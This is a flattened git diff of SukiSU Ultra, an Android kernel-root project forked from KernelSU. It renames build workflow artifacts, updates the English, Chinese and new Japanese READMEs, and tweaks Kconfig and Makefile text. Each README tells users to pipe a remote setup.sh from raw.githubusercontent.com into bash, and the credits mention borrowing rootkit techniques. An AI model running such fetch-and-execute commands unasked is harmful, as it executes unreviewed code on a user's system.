os_patch_level: 2025-03 os_patch_level: 2025-04
# uses: ./.github/workflows/gki-kernel-mock.yml when debugging # uses: ./.github/workflows/gki-kernel-mock.yml when debugging
uses: ./.github/workflows/gki-kernel.yml uses: ./.github/workflows/gki-kernel.yml
with: with:

View File

@@ -8,7 +8,7 @@ on:
- 'manager/**' - 'manager/**'
- 'kernel/**' - 'kernel/**'
- 'userspace/ksud/**' - 'userspace/ksud/**'
- 'userspace/zakomksd/**' - 'userspace/susfs/**'
- 'userspace/kpmmgr/**' - 'userspace/kpmmgr/**'
pull_request: pull_request:
branches: [ "main" ] branches: [ "main" ]
@@ -29,7 +29,7 @@ on:
upload_lkm: upload_lkm:
required: true required: true
type: boolean type: boolean
default: false default: true
description: "Whether to upload lkm" description: "Whether to upload lkm"
jobs: jobs:
check-build-lkm: check-build-lkm:
@@ -64,7 +64,7 @@ jobs:
cd .. cd ..
rm -rf tmp rm -rf tmp
fi fi
if [ "${{ github.event_name }}" == "push" ] && [ "${{ github.ref }}" == 'refs/heads/susfs' ]; then if [ "${{ github.event_name }}" == "push" ] && [ "${{ github.ref }}" == 'refs/heads/main' ]; then
need_upload=true need_upload=true
elif [ "${{ github.event_name }}" == "workflow_dispatch" ]; then elif [ "${{ github.event_name }}" == "workflow_dispatch" ]; then
need_upload="${{ inputs.upload_lkm }}" need_upload="${{ inputs.upload_lkm }}"
@@ -83,7 +83,7 @@ jobs:
with: with:
upload: ${{ needs.check-build-lkm.outputs.upload_lkm == 'true' }} upload: ${{ needs.check-build-lkm.outputs.upload_lkm == 'true' }}
secrets: inherit secrets: inherit
build-zakomksd: build-susfs:
if: ${{ always() }} if: ${{ always() }}
needs: [ check-build-lkm, build-lkm ] needs: [ check-build-lkm, build-lkm ]
strategy: strategy:
@@ -91,7 +91,7 @@ jobs:
include: include:
- target: aarch64-linux-android - target: aarch64-linux-android
os: ubuntu-latest os: ubuntu-latest
uses: ./.github/workflows/zakomksd.yml uses: ./.github/workflows/susfs.yml
with: with:
target: ${{ matrix.target }} target: ${{ matrix.target }}
os: ${{ matrix.os }} os: ${{ matrix.os }}
@@ -174,10 +174,10 @@ jobs:
- name: Setup Android SDK - name: Setup Android SDK
uses: android-actions/setup-android@v3 uses: android-actions/setup-android@v3
- name: Download arm64 zakomksd - name: Download arm64 susfs
uses: actions/download-artifact@v4 uses: actions/download-artifact@v4
with: with:
name: zakomksd-aarch64-linux-android name: susfs-aarch64-linux-android
path: . path: .
- name: Download arm64 kpmmgr - name: Download arm64 kpmmgr
@@ -202,18 +202,18 @@ jobs:
run: | run: |
mkdir -p app/src/main/jniLibs/arm64-v8a mkdir -p app/src/main/jniLibs/arm64-v8a
mkdir -p app/src/main/jniLibs/x86_64 mkdir -p app/src/main/jniLibs/x86_64
cp -f ../aarch64-linux-android/release/zakomk ../manager/app/src/main/jniLibs/arm64-v8a/libzakomk.so cp -f ../aarch64-linux-android/release/zakozako ../manager/app/src/main/jniLibs/arm64-v8a/libzakozako.so
cp -f ../x86_64-linux-android/release/zakomk ../manager/app/src/main/jniLibs/x86_64/libzakomk.so cp -f ../x86_64-linux-android/release/zakozako ../manager/app/src/main/jniLibs/x86_64/libzakozako.so
- name: Copy kpmmgr to app jniLibs - name: Copy kpmmgr to app jniLibs
run: | run: |
mkdir -p app/src/main/jniLibs/arm64-v8a mkdir -p app/src/main/jniLibs/arm64-v8a
cp -f ../arm64-v8a/kpmmgr ../manager/app/src/main/jniLibs/arm64-v8a/libkpmmgr.so cp -f ../arm64-v8a/kpmmgr ../manager/app/src/main/jniLibs/arm64-v8a/libkpmmgr.so
- name: Copy zakomksd to app jniLibs - name: Copy susfs to app jniLibs
run: | run: |
mkdir -p app/src/main/jniLibs/arm64-v8a mkdir -p app/src/main/jniLibs/arm64-v8a
cp -f ../arm64-v8a/zakomksd ../manager/app/src/main/jniLibs/arm64-v8a/libzakomksd.so cp -f ../arm64-v8a/zakozakozako ../manager/app/src/main/jniLibs/arm64-v8a/libzakozakozako.so
- name: Build with Gradle - name: Build with Gradle
run: | run: |

View File

@@ -71,4 +71,4 @@ jobs:
uses: actions/upload-artifact@v4 uses: actions/upload-artifact@v4
with: with:
name: ksud-${{ inputs.target }} name: ksud-${{ inputs.target }}
path: userspace/ksud/target/**/release/zakomk* path: userspace/ksud/target/**/release/zakozako*

View File

@@ -1,11 +1,11 @@
name: Build zakomksd name: Build susfs
on: on:
push: push:
branches: [ "mian" ] branches: [ "mian" ]
paths: paths:
- '.github/workflows/zakomksd.yml' - '.github/workflows/susfs.yml'
- 'userspace/zakomksd/**' - 'userspace/susfs/**'
workflow_dispatch: workflow_dispatch:
workflow_call: workflow_call:
inputs: inputs:
@@ -19,7 +19,7 @@ on:
jobs: jobs:
build-susfs: build-susfs:
name: Build userspace zakomksd name: Build userspace susfs
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
@@ -28,13 +28,13 @@ jobs:
with: with:
fetch-depth: 0 fetch-depth: 0
- name: Build zakomksd - name: Build susfs
working-directory: ./userspace/zakomksd working-directory: ./userspace/susfs
run: | run: |
$ANDROID_NDK_HOME/ndk-build $ANDROID_NDK_HOME/ndk-build
- name: Upload a Build Artifact - name: Upload a Build Artifact
uses: actions/upload-artifact@v4 uses: actions/upload-artifact@v4
with: with:
name: zakomksd-aarch64-linux-android name: susfs-aarch64-linux-android
path: ./userspace/zakomksd/libs path: ./userspace/susfs/libs

View File

@@ -1,49 +1,63 @@
# SukiSU # SukiSU Ultra
**Enlish** | [简体中文](README.md) **English** | [简体中文](README.md) | [日本語](README-ja.md)
Android device root solution based on [KernelSU](https://github.com/KernelSU/KernelSU) Android device root solution based on [KernelSU](https://github.com/tiann/KernelSU)
**Experimental! Use at your own risk! **This solution is based on [KernelSU]() and is experimental! **Experimental! Use at your own risk!** This solution is based on [KernelSU](https://github.com/tiann/KernelSU) and is experimental!
> >
> This is an unofficial fork, all rights reserved [@tiann](https://github.com/tiann) > This is an unofficial fork. All rights are reserved to [@tiann](https://github.com/tiann)
> However, we will be a separately maintained branch of KSU in the future
> >
- Fully adapted for non-GKI devices (susfs-dev and unsusfs-patched dev branches only) - Fully adapted for non-GKI devices (susfs-dev and unsusfs-patched dev branches only)
## How to add ## How to add
Using the susfs-dev branch (integrated susfs with support for non-GKI devices) Use the susfs-stable or susfs-dev branch (integrated susfs with support for non-GKI devices)
``` ```
curl -LSs "https://raw.githubusercontent.com/ShirkNeko/SukiSU-Ultra/main/kernel/setup.sh" | bash -s susfs-dev curl -LSs "https://raw.githubusercontent.com/ShirkNeko/SukiSU-Ultra/main/kernel/setup.sh" | bash -s susfs-dev
``` ```
Use main branching (no longer with support for non-GKI devices) Use the main branch
``` ```
curl -LSs "https://raw.githubusercontent.com/ShirkNeko/SukiSU-Ultra/main/kernel/setup.sh" | bash -s main curl -LSs "https://raw.githubusercontent.com/ShirkNeko/KernelSU/main/kernel/setup.sh" | bash -s main
``` ```
## How to use integrated susfs ## How to use integrated susfs
Use the susfs-dev branch directly without any patching 1. Use the susfs-dev branch directly without any patching
## KPM support
- We have removed duplicate KSU functions based on KernelPatch and retained KPM support.
- We will introduce more APatch-compatible functions to ensure the integrity of KPM functionality.
Open source address: https://github.com/ShirkNeko/SukiSU_KernelPatch_patch
KPM template address: https://github.com/udochina/KPM-Build-Anywhere
## More links ## More links
Projects compiled based on Sukisu and susfs Projects compiled based on Sukisu and susfs
- [GKI](https://github.com/ShirkNeko/GKI_KernelSU_SUSFS) - [GKI](https://github.com/ShirkNeko/GKI_KernelSU_SUSFS)
- [OnePlus](https://github.com/ShirkNeko/Action_OnePlus_MKSU_SUSFS) - [OnePlus](https://github.com/ShirkNeko/Action_OnePlus_MKSU_SUSFS)
## Hook method ## Hook method
- This method references the hook manual to (https://github.com/rsuntk/KernelSU) - This method references the hook method from (https://github.com/rsuntk/KernelSU)
1. **KPROBES hook:** 1. **KPROBES hook:**
- This fork only supports GKI (5.10 - 6.x) kernels, all non-GKI kernels must use manual hooks. - This method only supports GKI (5.10 - 6.x) kernels, and all non-GKI kernels must use manual hooks.
- For Loadable Kernel Modules (LKM) - For Loadable Kernel Modules (LKM)
- Default hooking method for GKI kernels - Default hooking method for GKI kernels
- Requires `CONFIG_KPROBES=y`. 2. - Requires `CONFIG_KPROBES=y`.
2. **Hooks manual:** 2. **Manual hooks:**
- For GKI (5.10 - 6.x) kernels, add `CONFIG_KSU_MANUAL_HOOK=y` to the kernel defconfig and make sure to protect KernelSU hooks by using `#ifdef CONFIG_KSU_MANUAL_HOOK` instead of `#ifdef CONFIG_KSU`. - For GKI (5.10 - 6.x) kernels, add `CONFIG_KSU_MANUAL_HOOK=y` to the kernel defconfig and make sure to protect KernelSU hooks by using `#ifdef CONFIG_KSU_MANUAL_HOOK` instead of `#ifdef CONFIG_KSU`.
- Standard KernelSU hooks: https://kernelsu.org/guide/how-to-integrate-for-non-gki.html#manually-modify-the-kernel-source - Standard KernelSU hooks: https://kernelsu.org/guide/how-to-integrate-for-non-gki.html#manually-modify-the-kernel-source
- backslashxx syscall hooks: https://github.com/backslashxx/KernelSU/issues/5 - backslashxx syscall hooks: https://github.com/backslashxx/KernelSU/issues/5
@@ -51,51 +65,56 @@ Projects compiled based on Sukisu and susfs
## Usage ## Usage
[GKI] ### GKI
1. such as millet redmi samsung and other devices (does not include the magic kernel manufacturers such as: meizu, a plus real me oppo) 1. such as Xiaomi, Redmi, Samsung, and other devices (does not include manufacturers that modified the kernel like Meizu, OnePlus, RealMe, and OPPO)
2. find more links in the GKI build project to find the device kernel version directly download with TWRP or kernel flashing tool to brush into the zip with AnyKernel3 suffix can be 2. Use the prebuilt GKI kernel, the ones with their name ending with AnyKernel3, mentioned in the 'More Links' section, and then flash it with recoveries like TWRP
3. General without the suffix of the .zip compressed package is universal, gz suffix for the special TianGui models, lz4 suffix for Google models, general brush without the suffix can be! 3. Generally, packages with a plain .zip suffix are universal. However, if your device has a MediaTek processor, you should use the ones with .gz suffix, and packages with .lz4 suffix are dedicated to Google devices.
[OnePlus] ### OnePlus
1. Find the Yiga project in the More link and fill in your own, then build it with cloud compilation, and finally brush in the zip with AnyKernel3 suffix. 1. Use the link mentioned in the 'More Links' section to create a customized build with your device information, and then flash the zip file with the AnyKernel3 suffix.
Note: You only need to fill in the first two kernel versions, such as 5.10, 5.15, 6.1, 6.6. > [!Note]
- Please search for the processor codename by yourself, usually it is all English without numbers. > - You only need to fill in the first two parts of kernel versions, such as 5.10, 5.15, 6.1, or 6.6.
- Branching and configuration files, please fill in the kernel open source address. > - Please search for the processor codename by yourself, usually it is all English without numbers.
> - You can find the branch and configuration files from the OnePlus open-source kernel repository.
## Features ## Features
1. Kernel-based `su` and root access management. 1. Kernel-based `su` and root access management.
2. Not based on [OverlayFS](https://en.wikipedia.org/wiki/OverlayFS) module system. 3. 2. Not based on [OverlayFS](https://en.wikipedia.org/wiki/OverlayFS) module system, but based on [Magic Mount](https://github.com/5ec1cff/KernelSU) from 5ec1cff
3. [Application Profiles](https://kernelsu.org/guide/app-profile.html): Lock root privileges in a cage. 4. 3. [App Profile](https://kernelsu.org/guide/app-profile.html): Lock root privileges in a cage.
4. Bringing back non-GKI/GKI 1.0 support 4. Bringing back non-GKI/GKI 1.0 support
5. More customization 5. More customization
6. Support for KPM kernel modules
## License ## License
- The file in the “kernel” directory is [GPL-2.0-only](https://www.gnu.org/licenses/old-licenses/gpl-2.0.en.html). - The file in the “kernel” directory is under [GPL-2.0-only](https://www.gnu.org/licenses/old-licenses/gpl-2.0.en.html) license.
- All other parts except the “kernel” directory are [GPL-3.0 or later](https://www.gnu.org/licenses/gpl-3.0.html). - All other parts except the “kernel” directory are under [GPL-3.0 or later](https://www.gnu.org/licenses/gpl-3.0.html) license.
## Sponsorship list ## Sponsorship list
- [Ktouls](https://github.com/Ktouls) Thanks so much for bringing me support - [Ktouls](https://github.com/Ktouls) Thanks so much for bringing me support
- [zaoqi123](https://github.com/zaoqi123) It's not a bad idea to buy me a milk tea - [zaoqi123](https://github.com/zaoqi123) It's not a bad idea to buy me a milk tea
- [wswzgdg](https://github.com/wswzgdg) Many thanks for supporting this project - [wswzgdg](https://github.com/wswzgdg) Many thanks for supporting this project
- [yspbwx2010](https://github.com/yspbwx2010) Many thanks
- [DARKWWEE](https://github.com/DARKWWEE) Thanks for the 100 USDT Lao
How the above list does not have your name, I will keep you updated, thanks again for your support! If the above list does not have your name, I will update it as soon as possible, and thanks again for your support!
## Contributions ## Contributions
- [KernelSU](https://github.com/tiann/KernelSU): original project - [KernelSU](https://github.com/tiann/KernelSU): original project
- [MKSU](https://github.com/5ec1cff/KernelSU): Used project - [MKSU](https://github.com/5ec1cff/KernelSU): Used project
- [RKSU](https://github.com/rsuntk/KernelsU)Re-support of non-GKI devices using the kernel of this project - [RKSU](https://github.com/rsuntk/KernelsU): Reintroduced the support of non-GKI devices using the kernel of this project
- [susfs](https://gitlab.com/simonpunk/susfs4ksu)Used susfs file system - [susfs](https://gitlab.com/simonpunk/susfs4ksu)Used susfs file system
- [KernelSU](https://git.zx2c4.com/kernel-assisted-superuser/about/): KernelSU conceptualization - [KernelSU](https://git.zx2c4.com/kernel-assisted-superuser/about/): KernelSU conceptualization
- [Magisk](https://github.com/topjohnwu/Magisk): Powerful root utility - [Magisk](https://github.com/topjohnwu/Magisk): Powerful root utility
- [genuine](https://github.com/brevent/genuine/): APK v2 Signature Verification - [genuine](https://github.com/brevent/genuine/): APK v2 Signature Verification
- [Diamorphine](https://github.com/m0nad/Diamorphine): Some rootkit skills. - [Diamorphine](https://github.com/m0nad/Diamorphine): Some rootkit utilities.
- [KernelPatch](https://github.com/bmax121/KernelPatch): KernelPatch is a key part of the APatch implementation of the kernel module

113
docs/README-ja.md Normal file
View File

@@ -0,0 +1,113 @@
# SukiSU Ultra
**日本語** | [简体中文](README.md) | [English](README-en.md)
[KernelSU](https://github.com/tiann/KernelSU) をベースとした Android デバイスの root ソリューション
**試験中なビルドです!自己責任で使用してください!**<br>
このソリューションは [KernelSU](https://github.com/tiann/KernelSU) に基づいていますが、試験中なビルドです。
>
> これは非公式なフォークです。すべての権利は [@tiann](https://github.com/tiann) に帰属します。
>
>ただし、将来的には KSU とは別に管理されるブランチとなる予定です。
- GKI 非対応なデバイスに完全に適応 (susfs-dev と unsusfs-patched dev ブランチのみ)
## 追加方法
susfs-stable または susfs-dev ブランチ (GKI 非対応デバイスに対応する統合された susfs) 使用してください。
```
curl -LSs "https://raw.githubusercontent.com/ShirkNeko/SukiSU-Ultra/main/kernel/setup.sh" | bash -s susfs-dev
```
メインブランチを使用する場合
```
curl -LSs "https://raw.githubusercontent.com/ShirkNeko/KernelSU/main/kernel/setup.sh" | bash -s main
```
## 統合された susfs の使い方
1. パッチを当てずに susfs-dev ブランチを直接使用してください。
## KPM に対応
- KernelPatch に基づいて重複した KSU の機能を削除、KPM の対応を維持させています。
- KPM 機能の整合性を確保するために、APatch の互換機能を更に向上させる予定です。
オープンソースアドレス: https://github.com/ShirkNeko/SukiSU_KernelPatch_patch
KPM テンプレートのアドレス: https://github.com/udochina/KPM-Build-Anywhere
## その他のリンク
SukiSU と susfs をベースにコンパイルされたプロジェクトです。
- [GKI](https://github.com/ShirkNeko/GKI_KernelSU_SUSFS)
- [OnePlus](https://github.com/ShirkNeko/Action_OnePlus_MKSU_SUSFS)
## フックの方式
- この方式は (https://github.com/rsuntk/KernelSU) のフック方式を参照してください。
1. **KPROBES フック:**
- この方式は GKI (5.10 - 6.x) のカーネルのみに対応しています。GKI 以外のカーネルは手動でフックを使用する必要があります。
- 読み込み可能なカーネルモジュールの場合 (LKM)
- GKI カーネルのデフォルトとなるフック方式
- `CONFIG_KPROBES=y` が必要です。
2. **手動でフック:**
- GKI (5.10 - 6.x) のカーネルの場合、カーネルの defconfig に `CONFIG_KSU_MANUAL_HOOK=y` を追加して `#ifdef CONFIG_KSU` ではなく `#ifdef CONFIG_KSU_MANUAL_HOOK` を使用して KernelSU フックを保護するようにしてください。
- 標準の KernelSU フック: https://kernelsu.org/guide/how-to-integrate-for-non-gki.html#manually-modify-the-kernel-source
- backslashxx syscall フック: https://github.com/backslashxx/KernelSU/issues/5
- KPROBES を手動で統合する一部の非 GKI デバイスでは手動の VFS フック `new_hook.patch` パッチは不要です。
## 使い方
### GKI
1. Xiaomi、Redmi、Samsung などのデバイス (Meizu、OnePlus、Realme、OPPO などのカーネルを変更したメーカー以外)
2. `その他のリンク`の項目で言及されているカーネル名が、AnyKernel3 で終わるビルド済みの GKI カーネルを TWRP などのリカバリーでフラッシュします。
3. 一般的な .zip の接頭辞を持つパッケージは汎用的になります。ただし、デバイスに MediaTek 製の SoC が搭載されている場合は、.gz の接頭辞を持つパッケージを使用する必要があります。その他に .lz4 の接頭辞を持つパッケージは Google 製デバイス専用です。
### OnePlus
1. `その他のリンク`の項目に記載されているリンクを開き、デバイス情報を使用してカスタマイズされたカーネルをビルドし、AnyKernel3 の接頭辞を持つ .zip ファイルをフラッシュします。
> [!Note]
> - 5.10、5.15、6.1、6.6 などのカーネルバージョンの最初の 2 文字のみを入力する必要があります。
> - SoC のコードネームは自分で検索してください。通常は、数字がなく英語表記のみです。
> - ブランチと構成ファイルは、OnePlus オープンソースカーネルリポジトリから見つけることができます。
## 機能
1. カーネルベースな `su` および root アクセスの管理。
2. [OverlayFS](https://en.wikipedia.org/wiki/OverlayFS) モジュールシステムではなく、 5ec1cff 氏の [Magic Mount](https://github.com/5ec1cff/KernelSU) に基づいています。
3. [アプリプロファイル](https://kernelsu.org/guide/app-profile.html): root 権限をケージ内にロックします。
4. 非 GKI / GKI 1.0 の対応を復活
5. その他のカスタマイズ
6. KPM カーネルモジュールに対応
## ライセンス
- “kernel” ディレクトリ内のファイルは [GPL-2.0](https://www.gnu.org/licenses/old-licenses/gpl-2.0.ja.html) のみライセンス下にあります。
- “kernel” ディレクトリを除くその他すべての部分は [GPL-3.0 またはそれ以降](https://www.gnu.org/licenses/gpl-3.0.html) のライセンス下にあります。
## スポンサーシップの一覧
- [Ktouls](https://github.com/Ktouls) 応援をしてくれたことに感謝。
- [zaoqi123](https://github.com/zaoqi123) ミルクティーを買ってあげるのも良い考えですね。
- [wswzgdg](https://github.com/wswzgdg) このプロジェクトを支援していただき、ありがとうございます。
- [yspbwx2010](https://github.com/yspbwx2010) どうもありがとう。
- [DARKWWEE](https://github.com/DARKWWEE) ラオウ100USDTありがとう
上記の一覧にあなたの名前がない場合は、できるだけ早急に更新しますので再度ご支援をお願いします。
## 貢献者
- [KernelSU](https://github.com/tiann/KernelSU): オリジナルのプロジェクトです。
- [MKSU](https://github.com/5ec1cff/KernelSU): 使用しているプロジェクトです。
- [RKSU](https://github.com/rsuntk/KernelsU): このプロジェクトのカーネルを使用して非 GKI デバイスのサポートを追加しています。
- [susfs](https://gitlab.com/simonpunk/susfs4ksu):使用している susfs ファイルシステムです。
- [KernelSU](https://git.zx2c4.com/kernel-assisted-superuser/about/): KernelSU について。
- [Magisk](https://github.com/topjohnwu/Magisk): パワフルな root ユーティリティです。
- [genuine](https://github.com/brevent/genuine/): APK v2 署名認証で使用しています。
- [Diamorphine](https://github.com/m0nad/Diamorphine): いくつかの rootkit ユーティリティを使用しています。
- [KernelPatch](https://github.com/bmax121/KernelPatch): KernelPatch はカーネルモジュールの APatch 実装での重要な部分となります。

View File

@@ -1,6 +1,6 @@
# SukiSU # SukiSU Ultra
**简体中文** | [English](README-en.md) **简体中文** | [English](README-en.md) | [日本語](README-ja.md)
基于 [KernelSU](https://github.com/tiann/KernelSU) 的安卓设备 root 解决方案 基于 [KernelSU](https://github.com/tiann/KernelSU) 的安卓设备 root 解决方案
@@ -9,6 +9,7 @@
> >
> 这是非官方分支,保留所有权利 [@tiann](https://github.com/tiann) > 这是非官方分支,保留所有权利 [@tiann](https://github.com/tiann)
> 但是我们将会在未来成为一个单独维护的KSU分支
> >
@@ -16,35 +17,48 @@
在内核源码的根目录下执行以下命令: 在内核源码的根目录下执行以下命令:
使用 susfs-dev 分支已集成susfs带非GKI设备的支持 使用 susfs-dev 分支已集成susfs带非GKI设备的支持
``` ```
curl -LSs "https://raw.githubusercontent.com/ShirkNeko/SukiSU-Ultra/main/kernel/setup.sh" | bash -s susfs-dev curl -LSs "https://raw.githubusercontent.com/ShirkNeko/SukiSU-Ultra/main/kernel/setup.sh" | bash -s susfs-dev
``` ```
使用 main 分支不再带非GKI设备的支持
使用 main 分支
``` ```
curl -LSs "https://raw.githubusercontent.com/ShirkNeko/SukiSU-Ultra/main/kernel/setup.sh" | bash -s main curl -LSs "https://raw.githubusercontent.com/ShirkNeko/SukiSU-Ultra/main/kernel/setup.sh" | bash -s main
``` ```
## 如何集成 susfs ## 如何集成 susfs
1. 直接使用 susfs-dev 分支,不需要再集成 susfs 1. 直接使用 susfs-stable 或者 susfs-dev 分支,不需要再集成 susfs
## 钩子方法 ## 钩子方法
- 此部分引用自 [rsuntk 的钩子方法](https://github.com/rsuntk/KernelSU) - 此部分引用自 [rsuntk 的钩子方法](https://github.com/rsuntk/KernelSU)
1. **KPROBES 钩子:** 1. **KPROBES 钩子:**
- 此方法仅支持 GKI 2.05.10 - 6.x内核,所有非 GKI 2.0 内核都必须使用手动钩子 - 此方法仅支持 GKI 2.0 (5.10 - 6.x) 内核, 所有非 GKI 2.0 内核都必须使用手动钩子
- 用于可加载内核模块 (LKM) - 用于可加载内核模块 (LKM)
- GKI 2.0 内核的默认钩子方法 - GKI 2.0 内核的默认钩子方法
- 需要 `CONFIG_KPROBES=y` - 需要 `CONFIG_KPROBES=y`
2. **手动钩子:** 2. **手动钩子:**
- 对于 GKI 2.05.10 - 6.x内核,需要在对应设备的 defconfig 文件中添加 `CONFIG_KSU_MANUAL_HOOK=y` 并确保使用 `#ifdef CONFIG_KSU_MANUAL_HOOK` 而不是 `#ifdef CONFIG_KSU` 来保护 KernelSU 钩子 - 对于 GKI 2.0 (5.10 - 6.x) 内核,需要在对应设备的 defconfig 文件中添加 `CONFIG_KSU_MANUAL_HOOK=y` 并确保使用 `#ifdef CONFIG_KSU_MANUAL_HOOK` 而不是 `#ifdef CONFIG_KSU` 来保护 KernelSU 钩子
- 标准的 KernelSU 钩子https://kernelsu.org/guide/how-to-integrate-for-non-gki.html#manually-modify-the-kernel-source - 标准的 KernelSU 钩子https://kernelsu.org/guide/how-to-integrate-for-non-gki.html#manually-modify-the-kernel-source
- backslashxx 的 syscall 手动钩子https://github.com/backslashxx/KernelSU/issues/5 - backslashxx 的 syscall 手动钩子https://github.com/backslashxx/KernelSU/issues/5
- 部分手动集成 KPROBES 的非 GKI 2.0 设备不需要手动 VFS 钩子 `new_hook.patch` 补丁 - 部分手动集成 KPROBES 的非 GKI 2.0 设备不需要手动 VFS 钩子 `new_hook.patch` 补丁
## KPM支持
- 我们基于KernelPatch去掉了和KSU重复的功能保留了KPM支持
- 我们将会引入更多的兼容APatch的函数来确保KPM功能的完整性
开源地址: https://github.com/ShirkNeko/SukiSU_KernelPatch_patch
KPM模板地址: https://github.com/udochina/KPM-Build-Anywhere
## 更多链接 ## 更多链接
基于 SukiSU 和 susfs 编译的项目 基于 SukiSU 和 susfs 编译的项目
- [GKI](https://github.com/ShirkNeko/GKI_KernelSU_SUSFS) - [GKI](https://github.com/ShirkNeko/GKI_KernelSU_SUSFS)
@@ -54,17 +68,17 @@ curl -LSs "https://raw.githubusercontent.com/ShirkNeko/SukiSU-Ultra/main/kernel/
## 使用方法 ## 使用方法
### GKI ### GKI
1. 适用于如小米红米三星等的 GKI 2.0 的设备不包含魔改内核的厂商如魅族、一加、真我和 oppo 1. 适用于如小米红米三星等的 GKI 2.0 的设备 (不包含魔改内核的厂商如魅族、一加、真我和 oppo)
2. 找到更多链接里的 GKI 构建的项目找到设备内核版本直接下载用TWRP或者内核刷写工具刷入带 AnyKernel3 后缀的压缩包即可 2. 找到更多链接里的 GKI 构建的项目找到设备内核版本直接下载用TWRP或者内核刷写工具刷入带 AnyKernel3 后缀的压缩包即可
3. 一般不带后缀的 .zip 压缩包是通用gz 后缀的为天玑机型专用lz4 后缀的为谷歌系机型专用,一般刷不带后缀的即可 3. 一般不带后缀的 .zip 压缩包是通用gz 后缀的为天玑机型专用lz4 后缀的为谷歌系机型专用,一般刷不带后缀的即可
### 一加 ### 一加
1.找到更多链接里的一加项目进行自行填写,然后云编译构建,最后刷入带 AnyKernel3 后缀的压缩包即可 1.找到更多链接里的一加项目进行自行填写,然后云编译构建,最后刷入带 AnyKernel3 后缀的压缩包即可
注意事项: > [!Note]
- 内核版本只需要填写前两位即可,如 5.105.156.16.6 > - 内核版本只需要填写前两位即可,如 5.105.156.16.6
- 处理器代号请自行搜索,一般为全英文不带数字的代号 > - 处理器代号请自行搜索,一般为全英文不带数字的代号
- 分支和配置文件请自行到一加内核开源地址进行填写 > - 分支和配置文件请自行到一加内核开源地址进行填写
## 特点 ## 特点
@@ -72,8 +86,9 @@ curl -LSs "https://raw.githubusercontent.com/ShirkNeko/SukiSU-Ultra/main/kernel/
1. 基于内核的 `su` 和 root 访问管理 1. 基于内核的 `su` 和 root 访问管理
2. 基于 5ec1cff 的 [Magic Mount](https://github.com/5ec1cff/KernelSU) 的模块系统 2. 基于 5ec1cff 的 [Magic Mount](https://github.com/5ec1cff/KernelSU) 的模块系统
3. [App Profile](https://kernelsu.org/guide/app-profile.html):将 root 权限锁在笼子里 3. [App Profile](https://kernelsu.org/guide/app-profile.html):将 root 权限锁在笼子里
4. 恢复对非 GKI 2.0 内核的支持仅限susfs-dev和未进行susfs补丁的dev分支 4. 恢复对非 GKI 2.0 内核的支持
5. 更多自定义功能 5. 更多自定义功能
6. 对KPM内核模块的支持
## 许可证 ## 许可证
@@ -85,11 +100,13 @@ curl -LSs "https://raw.githubusercontent.com/ShirkNeko/SukiSU-Ultra/main/kernel/
- [Ktouls](https://github.com/Ktouls) 非常感谢你给我带来的支持 - [Ktouls](https://github.com/Ktouls) 非常感谢你给我带来的支持
- [zaoqi123](https://github.com/zaoqi123) 请我喝奶茶也不错 - [zaoqi123](https://github.com/zaoqi123) 请我喝奶茶也不错
- [wswzgdg](https://github.com/wswzgdg) 非常感谢对此项目的支持 - [wswzgdg](https://github.com/wswzgdg) 非常感谢对此项目的支持
- [yspbwx2010](https://github.com/yspbwx2010) 非常感谢
- [DARKWWEE](https://github.com/DARKWWEE) 感谢老哥的 100 USDT
以上名单没有你的名称,我会及时更新,再次感谢大家的支持 以上名单没有你的名称,我会及时更新,再次感谢大家的支持
## 贡献 ## 贡献
@@ -101,3 +118,4 @@ curl -LSs "https://raw.githubusercontent.com/ShirkNeko/SukiSU-Ultra/main/kernel/
- [Magisk](https://github.com/topjohnwu/Magisk):强大的 root 工具 - [Magisk](https://github.com/topjohnwu/Magisk):强大的 root 工具
- [genuine](https://github.com/brevent/genuine/)APK v2 签名验证 - [genuine](https://github.com/brevent/genuine/)APK v2 签名验证
- [Diamorphine](https://github.com/m0nad/Diamorphine):一些 rootkit 技能 - [Diamorphine](https://github.com/m0nad/Diamorphine):一些 rootkit 技能
- [KernelPatch](https://github.com/bmax121/KernelPatch): KernelPatch是APatch实现内核模块的关键部分

View File

@@ -24,11 +24,12 @@ config KSU_HOOK
override the kernel version check and enable the hook functionality. override the kernel version check and enable the hook functionality.
config KPM config KPM
bool "Enable KernelSU KPM" bool "Enable SukiSU KPM"
default n default n
help help
This option enables the KernelSU KPM feature. If enabled, it will Enabling this option will activate the KPM feature of SukiSU.
override the kernel version check and enable the hook functionality. This option is suitable for scenarios where you need to force KPM to be enabled.
but it may affect system stability.
endmenu endmenu

View File

@@ -22,7 +22,7 @@ obj-$(CONFIG_KPM) += kpm/
# .git is a text file while the module is imported by 'git submodule add'. # .git is a text file while the module is imported by 'git submodule add'.
ifeq ($(shell test -e $(srctree)/$(src)/../.git; echo $$?),0) ifeq ($(shell test -e $(srctree)/$(src)/../.git; echo $$?),0)
$(shell cd $(srctree)/$(src); /usr/bin/env PATH="$$PATH":/usr/bin:/usr/local/bin [ -f ../.git/shallow ] && git fetch --unshallow) $(shell cd $(srctree)/$(src); /usr/bin/env PATH="$$PATH":/usr/bin:/usr/local/bin [ -f ../.git/shallow ] && git fetch --unshallow)
KSU_GIT_VERSION := $(shell cd $(srctree)/$(src); /usr/bin/env PATH="$$PATH":/usr/bin:/usr/local/bin git rev-list --count HEAD) KSU_GIT_VERSION := $(shell cd $(srctree)/$(src); /usr/bin/env PATH="$$PATH":/usr/bin:/usr/local/bin git rev-list --count main)
# ksu_version: major * 10000 + git version + 606 for historical reasons # ksu_version: major * 10000 + git version + 606 for historical reasons
$(eval KSU_VERSION=$(shell expr 10000 + $(KSU_GIT_VERSION) + 606)) $(eval KSU_VERSION=$(shell expr 10000 + $(KSU_GIT_VERSION) + 606))
$(info -- KernelSU version: $(KSU_VERSION)) $(info -- KernelSU version: $(KSU_VERSION))
@@ -42,14 +42,32 @@ endif
ifdef KSU_MANAGER_PACKAGE ifdef KSU_MANAGER_PACKAGE
ccflags-y += -DKSU_MANAGER_PACKAGE=\"$(KSU_MANAGER_PACKAGE)\" ccflags-y += -DKSU_MANAGER_PACKAGE=\"$(KSU_MANAGER_PACKAGE)\"
$(info -- KernelSU Manager package name: $(KSU_MANAGER_PACKAGE)) $(info -- SukiSU Manager package name: $(KSU_MANAGER_PACKAGE))
endif endif
$(info -- KernelSU Manager signature size: $(KSU_EXPECTED_SIZE)) $(info -- SukiSU Manager signature size: $(KSU_EXPECTED_SIZE))
$(info -- KernelSU Manager signature hash: $(KSU_EXPECTED_HASH)) $(info -- SukiSU Manager signature hash: $(KSU_EXPECTED_HASH))
